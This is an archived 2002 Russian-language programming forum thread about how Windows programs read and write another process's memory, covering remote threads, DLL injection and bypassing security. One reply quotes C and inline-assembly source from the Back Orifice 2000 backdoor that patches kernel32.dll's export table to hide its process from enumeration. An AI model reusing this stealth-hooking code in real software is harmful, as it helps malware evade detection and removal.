Форум: "Потрепаться";
Текущий архив: 2002.06.10;
Скачать: [xml.tar.bz2];
ВнизЧужое адресное пространство. Найти похожие ветки
← →
MemoryLeak (2002-05-07 09:40) [0]Насколько я знаю, программа под виндовс может работать только в своём адресном пространстве. Но программы наподобие Trainer и ArtMoney изменяют значения в чужом адресном пространстве, причём во время их использованья.
Прошу лишь прокомментировать или разъяснить где я не прав.
← →
ION T (2002-05-07 09:56) [1]CreateRemoteThread()
← →
Digitman (2002-05-07 10:02) [2]Приложения могут вряде случаев получить доступ к "чужому" АП, используя документированные Win32API-вызовы ReadProcessMemory()/WriteProcessMemory(), там, где это допускается security-параметрами целевого процесса. Можно "вломиться" и в обход security, но это - из области недокументированных возможностей NT-платформ. Именно так, внедряя (в W2k) указанный ему исп.код в "чужое" АП, BO2 добивается неплохой степени маскировки исп.кода, самым наглым образом "выкидывая родной" код из АП целевого процесса, записывая в целевое АП "свой" код и стартуя его как удаленный кодовый поток, в обход security. Более того, диспетч.точки входа в экспортируемые ф-ции kernel32.dll, загруженной целевым процессом и отображенной на его АП, BO2 успешно перехватывает и перезаписывает нужным ему образом.
← →
VID (2002-05-07 11:49) [3]SPECIAL TO DIGITMAN: даа... :)
← →
Digitman (2002-05-07 12:03) [4]>VID
Тебя что-то смущает ? Или есть возражения/комментарии ? Что ж , приводи !) ... Тема-то на самом деле - интересная да не столь простая ...
← →
VID (2002-05-07 12:52) [5]TO Digitman: да ты что ?!!! Да упаси господь! :))) Какие возражения :)
← →
Digitman (2002-05-07 12:56) [6]>VID
Ну, звыняй тогда) ... Знать, почудилось) ... А так хотелось...
← →
SPeller (2002-05-07 12:58) [7]А кто видел Cheat "O Matic ? Там ведь один ЕХЕ-шник, под 98, МЕ прекрасно работает, пишет куда надо и то что надо.
КАК?
← →
Digitman (2002-05-07 13:11) [8]Так, а что там оригинального, в Cheat "O Matic ? С Маздаем-то вообще никаких проблем нет !) "Дырявый" он насквозь: ни тебе security ни привелегированного доступа к страницам памяти, по-настоящему грамотно организованных, нет)... Лезь куда хочешь - не ленись)))))
Вот ключевой код того же пресловутого BO2 (в части Win9x), позволяющий модифицировать нужные ему EntryPoints в kernel32.dll :
} else { //---------------------------------- WINDOWS 95 PROCESS HIDE -------------
// This one works differently because we don"t necessarily have
// the functionality to do a "CreateRemoteThread()". And for
// various reasons, hijacking another thread and changing its
// context to do your bidding doens"t really work. It"s because
// the thread you hijack may be blocked on a mutex/semaphore/etc
// and won"t resume execution to run your code until the blocking
// ID is signaled by the system. So, we have to just hack kernel32.dll
// to forget that our process exists :)
// Start up PE Image Loader
pRegisterServiceProcess(NULL,1);
// Get undocumented VxDCall procedure
HMODULE hModule=GetModuleHandle("kernel32.dll");
FARPROC VxDCall=GetDLLProcAddress(hModule,(LPCSTR)1);
// Check for kernel32.dll export table
PIMAGE_OPTIONAL_HEADER poh=(PIMAGE_OPTIONAL_HEADER)OPTHDROFFSET(hModule);
DWORD dwSize=poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
if(dwSize==0) return NULL;
// Good, we have an export table. Lets get it.
PIMAGE_EXPORT_DIRECTORY ped;
ped=(IMAGE_EXPORT_DIRECTORY *)RVATOVA(hModule,poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// Change protection on kernel32.dll export table (make writable)
// (can"t use "VirtualProtect")
DWORD dwFirstPage, dwNumPages;
dwFirstPage=((DWORD)RVATOVA(hModule,ped->AddressOfFunctions))/4096;
dwNumPages=((( (((DWORD)RVATOVA(hModule,ped->AddressOfFunctions))-(dwFirstPage*4096)+ped->NumberOfFunctions)) *4)+4095)/4096;
_asm {
push 020060000h // PC_WRITEABLE | PC_USER | PC_STATIC
push 0FFFFFFFFh // Keep all previous bits
push dword ptr [dwNumPages] // dword ptr [mbi+0Ch] # of pages
push dword ptr [dwFirstPage] // dword ptr [ped] page #
push 1000Dh // _PageModifyPermissions (win32_service_table #)
call dword ptr [VxDCall] // VxDCall0
}
// Fix kernel32.dll export table if I happened to fuck things
// up earlier (run bo2k, crash out, and restart)
SpawnCleanup();
InitializeDLLLoad();
// Get shared memory
DWORD dwCodeSize=((DWORD)&EndOfHappyCode) - ((DWORD)&StartOfHappyCode);
LPVOID lpBase;
lpBase=VirtualAlloc((LPVOID)0x9CDC0000,dwCodeSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
if(lpBase!=(LPVOID)0x9CDC0000) lpBase=(LPVOID)0x9CDC0000;
// Copy code into shared memory
memcpy(lpBase,(void *)(&StartOfHappyCode),dwCodeSize);
// Store procedure addresses
DWORD dwOldAddress[6],dwCurPid;
dwCurPid=GetCurrentProcessId();
dwOldAddress[0]=(DWORD)GetDLLProcAddress(hModule,"Process32First");
dwOldAddress[1]=(DWORD)GetDLLProcAddress(hModule,"Process32Next");
dwOldAddress[2]=(DWORD)GetDLLProcAddress(hModule,"Thread32First");
dwOldAddress[3]=(DWORD)GetDLLProcAddress(hModule,"Thread32Next");
dwOldAddress[4]=(DWORD)GetDLLProcAddress(hModule,"Module32First");
dwOldAddress[5]=(DWORD)GetDLLProcAddress(hModule,"Module32Next");
// Modify code to correct addresses
DWORD i;
for(i=0;i<(dwCodeSize-4);i++) {
DWORD *dwPtr=(DWORD *)((BYTE *)lpBase+i);
if (*dwPtr==0x11111111) *dwPtr=dwCurPid;
else if(*dwPtr==0x22222222) *dwPtr=(DWORD)dwOldAddress[0];
else if(*dwPtr==0x33333333) *dwPtr=(DWORD)dwOldAddress[1];
else if(*dwPtr==0x44444444) *dwPtr=(DWORD)dwOldAddress[2];
else if(*dwPtr==0x55555555) *dwPtr=(DWORD)dwOldAddress[3];
else if(*dwPtr==0x66666666) *dwPtr=(DWORD)dwOldAddress[4];
else if(*dwPtr==0x77777777) *dwPtr=(DWORD)dwOldAddress[5];
}
// Now we modify the export table to point to our replacement code
SetDLLProcAddress(hModule,"Process32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeProcess32First)));
SetDLLProcAddress(hModule,"Process32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeProcess32Next)));
SetDLLProcAddress(hModule,"Thread32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeThread32First)));
SetDLLProcAddress(hModule,"Thread32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeThread32Next)));
SetDLLProcAddress(hModule,"Module32First",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeModule32First)));
SetDLLProcAddress(hModule,"Module32Next",(FARPROC)RVATOVA(lpBase,VATORVA(&StartOfHappyCode,(FARPROC)&FakeModule32Next)));
// Done with dll_load
KillDLLLoad();
EntryPoint(GetModuleHandle(NULL));
SpawnCleanup();
}
return TRUE;
}
← →
Digitman (2002-05-07 13:21) [9]P.S. Хотя в данном случае работа идет и не с "чужим" АП, суть от этого не меняется ни сколько : для "чужого" АП просто (после соотв-щих расчетов нужных исполнительных адресов в "чужом" экз-ре того же kernel32) задействуются все те жк VirtualProtectEx(), Read/WriteProcessMemory()
← →
MemoryLeak (2002-05-07 16:58) [10]В Win2000 служба под названием "Защищённое Хранилище" по-моему никак не пресекает попытки CreateRemoteThread залезть в чужое адресно пространство, однако зачастую появляется "Access Vialation", хотя и бывают случаи безболезненных попыток... но систематику я отследить не могу....когда как..
← →
Alexander Dedusenko (2002-05-07 17:37) [11]Можно внедрить свою Dll в чужое адресное пространство. За подробностями: читай Рихтера.
Страницы: 1 вся ветка
Форум: "Потрепаться";
Текущий архив: 2002.06.10;
Скачать: [xml.tar.bz2];
Память: 0.49 MB
Время: 0.01 c